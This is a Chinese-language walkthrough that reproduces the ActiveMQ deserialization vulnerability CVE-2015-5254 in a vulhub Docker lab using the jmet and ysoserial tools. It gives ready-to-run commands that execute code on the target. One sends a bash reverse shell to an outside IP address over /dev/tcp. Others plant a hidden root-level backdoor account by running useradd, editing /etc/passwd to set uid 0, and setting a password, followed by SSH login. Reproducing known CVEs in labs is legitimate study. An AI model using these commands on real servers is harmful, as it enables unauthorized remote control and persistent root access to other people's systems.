ActiveMQ反序列化‐‐CVE‐2015‐5254
一、环境搭建
使用vulhub一键docker‐compose up ‐d 一键启动漏洞环境
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递;8161是网络管理页面端口默认密码:admin,admin。


二、漏洞复现
步骤:
1.构造(可以使用ysoserial)可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问的Web管理页面,读取消息,触发漏洞
jmet进行漏洞利用首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在
的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载)。

cd /optwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet‐0.1.0‐all.jarmkdir external
执行命令添加一个事件队列像目标的ActiveMQ添加一个事件的队列,通过http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "touch /tmp/sucess"‐Yp ROME 8.210.152.234 61616

点击查看触发漏洞命令执行

此时进入docker 容器进行查看是否成功
docker exec ‐it 77957ea6aa1b /bin/bash
三、反弹Shell
推荐工具在线工具 https://krober.biz/misc/reverse_shell.php
推荐在线编码工具 http://www.jackson‐t.ca/runtime‐exec‐payloads.html
执行命令 登录后台点击触发漏洞
java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "bash ‐i >& /dev/tcp/39.108.159.100/8989 0>&1" ‐Yp ROME 8.210.152.234 61616
nc 监听相应端口等待shell回弹(建议使用云服务器监听)

登录后台点击消息队列:触发命令执行


四、添加用户
执行jmet的命令添加test用户并将其添加到root组,返回
http://ip:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它
java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "useradd ‐g root ‐s/bin/bash ‐u 10010 test" ‐Yp ROME ip 61616让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回
http://ip:8161/admin/browse.jsp?JMSDestination=event
页面,点击一下消息,触发它。
java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "sed ‐i "s/test:x:10010/test:x:0/g" /etc/passwd" ‐Yp ROME ip 61616让我们再为test用户设置一个密码,返回
http://ip:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。
java ‐jar jmet‐0.1.0‐all.jar ‐Q event ‐I ActiveMQ ‐s ‐Y "echo "test:sd123456" | chpasswd" ‐Yp ROME ip 61616到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆
进入操作系统,并且还是最高权限。

